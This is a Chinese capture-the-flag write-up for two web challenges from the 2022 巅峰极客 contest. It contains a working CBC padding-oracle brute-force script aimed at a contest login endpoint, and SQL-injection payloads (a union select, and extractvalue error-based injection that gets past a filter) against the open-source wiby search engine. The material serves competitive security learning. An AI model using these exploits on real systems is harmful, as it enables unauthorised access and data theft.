巅峰极客2022

文章目录

  • 巅峰极客2022
    • web
      • babyweb
      • ezWeb

web

babyweb

提示cbc padding oracle攻击,这是一个服务端的密码学漏洞,buu上做过原题[NPUCTF2020]web狗

原理简单讲一下,这道题的逻辑大概就是,cookie传入一个admin_password的base64值,然后后端进行解密,因为是采用了CBC模式,所以可以构造这个base64的值进行爆破中间值。具体的爆破原理可以看文章https://www.cnblogs.com/ntestoc/p/11044433.html

这道题是采用的PKCS7,也就是16字节为一组进行分组,题目给的password是64字节的,其中前16个字节是初始IV偏移,然后利用我写的exp一组一组爆破就行了,爆破需要时间,这是非常恶心的一点

# -*- coding: utf-8 -*-
# @Time : 2022/8/17 14:11
# @Author : pysnow
import requests
import time
import base64enc = base64.b64decode("KBLR73Xs+27+jqaDJxxn5m4dhT0JKrZO7ZrdTDKwY4MWT99pwDAr+Doinyc7Z7aQcWMIJXj1X26zfQIzsKJmpQ==")
iv = enc[:16]
a = enc[16:32]
b = enc[32:48]
c = enc[48:64]
N = 16
middle = b""
m = b''
jwt = '; session=eyJhZG1pbl9wYXNzd29yZCI6IktCTFI3M1hzKzI3K2pxYURKeHhuNW00ZGhUMEpLclpPN1pyZFRES3dZNE1XVDk5cHdEQXIrRG9pbnljN1o3YVFjV01JSlhqMVgyNnpmUUl6c0tKbXBRPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvyqfg.rne4FOqd4fwNXCQxvbDkQq7iTCE'
url = 'http://eci-2ze5c6hgy29ykascmvi4.cloudeci1.ichunqiu.com/login'def xor(a, b):return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])def byte(key):return key.to_bytes(1, 'big')for step in range(1, N + 1):padding = byte(step) * (step - 1)print("爆破的最后{}位".format(step))for i in range(0, 256):# print(i)new_iv = byte(0) * (N - step) + byte(i) + xor(padding, middle)data = {"username": "admin", "passxxxx": "xxmin"}payload = new_iv + a# print(len(payload))headers = {"Cookie": "admin_password=" + base64.b64encode(payload).decode() + jwt}# print(base64.b64encode(payload).decode())r = requests.post(url=url, data=data, headers=headers)time.sleep(0.01)# print(i, r.text)if r.text == "False":print(i, r.text)middle = xor(byte(i), byte(step)) + middleprint(middle)break

注意修改的一点

payload = new_iv + a

比如说你要爆破第一组就这么写

要爆破第二组就如下方式写

payload = a + new_iv + b

理论上是可以只写两组的,没试过,我感觉应该可以

然后将爆破得到的中间值跟前一组的密文(也就是偏移)进行异或一下就得到明文

下面是异或脚本

# -*- coding: utf-8 -*-
# @Time : 2022/8/17 17:29
# @Author : pysnow
# mid = b" z\xe9^\xcc<'\xf46.\x93+7k\xba\x9c"
# mid = b'X)\xa8\x05<K\x83c\xd4\xa3\xe5-\x02\xd1\x06\xe5'
mid = b'Lp\xe1\xdeF\xd8\xc8\x0f\xd3\xbb\x96\xb4\x131S\x80'
// mid为三次中间值
iv = b"(\x12\xd1\xefu\xec\xfbn\xfe\x8e\xa6\x83'\x1cg\xe6"
b = b'\x16O\xdfi\xc00+\xf8:"\x9f\';g\xb6\x90'
a = b'n\x1d\x85=\t*\xb6N\xed\x9a\xddL2\xb0c\x83'def xor(a, b):return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])def byte(key):return key.to_bytes(1, 'big')print(xor(mid, iv))

最后爆破出密码为db01343a-5074-4f64-85a5-998a0aef6567\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c

admin使用db01343a-5074-4f64-85a5-998a0aef6567密码登陆得到flag

ezWeb

下载附件可以看到flag分为两部分放在了flag1和flag2表里面

#!/bin/bashexport FLAG1="flag{this_is_a"
export FLAG2="_test"
mysql -u root wiby -e "create table flag1 (flag text); insert into flag1 values ('$FLAG1'); grant select on flag1 to 'approver'@'localhost';" && \
mysql -u root wiby -e "create table flag2 (flag text); insert into flag2 values ('$FLAG2'); grant select on flag2 to 'crawler'@'localhost';"
export FLAG1="flag{flag_not_here}"
export FLAG2="flag{flag_not_here}"
rm -rf /flag.sh

而且赋予了不同的权限

robots.txt文件给出了账号密码admin/admin888

在github上找到该项目,查看issue发现这个存在历史漏洞,sql注入和csrf

因为给了admin密码,那就不需要再通过csrf获取密码了

https://github.com/wibyweb/wiby/issues/1

有两个地方存在注入点,直接给出我的exp,第一处特别简单,也没啥过滤啥的,第二出过滤了select,可以利用mysql8的性质配合报错注入进行bypass

http://123.56.45.214:27423/tags/tags.php
url=-1"union select flag from `flag2`%23
http://123.56.45.214:27423/review/review.php
updatable1=1&worksafe1=on&crawldepth1=&crawlpages1=&crawltype1=0&startid=1&endid=0/**/and/**/extractvalue(1,concat(0x5c,(table/**/flag1)))

巅峰极客2022wp相关推荐

  1. 巅峰极客pwn wp

    Pwn gift 程序保护全开 程序功能: add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往user_data+0x10处写. delete:有UAF show: ...

  2. 巅峰极客2022初赛 部分题解

    文章目录 Crypto point-power strange curve Misc easy_Forensic Lost 巅峰极客2022初赛,团队共解决7道题,合计2234分,排名第11位,晋级复 ...

  3. 2020巅峰极客wp

    2020巅峰极客 巅峰极客是给开封市信网办做护网的时候打的比赛,所以比赛体验感并不好,简单写一下wp virus-re 代码分为三部分 以'-'为间隔,将flag的第一部分转换为整型数字,并且满足后项 ...

  4. 2018巅峰极客writeup(Misc)

    原文地址:https://mistsatan.github.io/articles/2018-Peakgeek-Writeup-Misc.html 作为一个渣渣,带着去看各路神仙打架的想法报名了这次的 ...

  5. 巅峰极客第一场CTF部分writeup

    额,上午驾校学车,中午打了会儿安恒的月赛,就来看巅峰极客的题了.时间关系实力原因没做几个emmmm太菜了wa MISC-warmup-100pt 拿到一个bmp文件,套路走一波,右键查看属性emmm啥 ...

  6. [代码审计][PHAR]巅峰极客babyphp2学习压缩过滤器触发phar

    前言:我要当赛棍!!! 文章目录 序列化与反序列化 基本介绍 PHP反序列化漏洞原理 常用的魔法函数 __wakeup()绕过:CVE-2016-7124 __set:巅峰极客babyphp2 解决p ...

  7. 2022巅峰极客WriteUp By EDISEC

    2022巅峰极客WriteUp By EDISEC Web babyweb ezWeb Crypto point-power strange curve Pwn Gift smallcontainer ...

  8. 巅峰极客2021 what_pickle——一道综合性的python web

    前言 这题好像是最少人做出的web,考察的知识点比较多,综合性比较强,感觉挺有意思的.很多人都是卡在某个知识点,尤其是最后读flag阶段.总的来说,由于这题涉及到各种很经典的python安全的知识点, ...

  9. 2021巅峰极客逆向baby_maze题wp

    IDA分析发现题目所谓的迷宫没有一个数据结构来表示,而是每一个函数就是一关: 输入S后进入下一关: 然后一直过关到这个函数: 开始的时候我没注意看有多少个函数,以为就几十个,手工用crossref从结 ...

最新文章

  1. 前端一HTML:二: html开发工具
  2. PPC 调用约定 r0-r31寄存器介绍
  3. Windows窗口分析
  4. 修改Tomcat 6 默认的ROOT
  5. 24张IT工程师技能图谱,这些你都会吗?
  6. toString()和String.valueOf()的区别(转)
  7. Anaconda下安装OpenCV和Tensorflow(最简洁高效的方法)
  8. 计算机组成原理单周期mips,计算机组成原理CPU单周期数据通路(MIPS)
  9. 3d激光雷达开发(从halcon看点云pcl库)
  10. matlab 线性方程组 最小二乘解,超定方程组的最小二乘解
  11. callback的实现
  12. 大数据和人工智能体系图
  13. 机械工程专业英语复习
  14. MT4跟单软件的API跟单模式有多少种?
  15. 【最新】电脑常用装机软件组合 装机必备
  16. Mapbox相机动画整理(1)示例解析
  17. 手机收不到第三方发送的短信及验证码
  18. DRC(Data Replicate Center)
  19. 可达编程 单源最短路
  20. 用Python写了个贪吃蛇

热门文章

  1. 大数据常见英文词汇(二)(待续)
  2. PAT 1100. Mars Numbers (20)
  3. 小米装linux系统教程视频,小米5 miui8折腾Linux Deploy经验
  4. Git上传文件不能超过100M的解决办法
  5. getsockopt和setsockopt
  6. 河南专升本公共英语语法考点分析---代词、介词、连接词
  7. java实现视频弹幕效果,SpringBoot实现视频弹幕功能 DanmuPlayer插件的使用
  8. 全国快递物流查询-快递单号查询接口api
  9. android 寺库trytry_美图与寺库达成战略合作 美图美妆将由 TryTry 运营
  10. “耳根”发布新作《一念永恒》,交易记录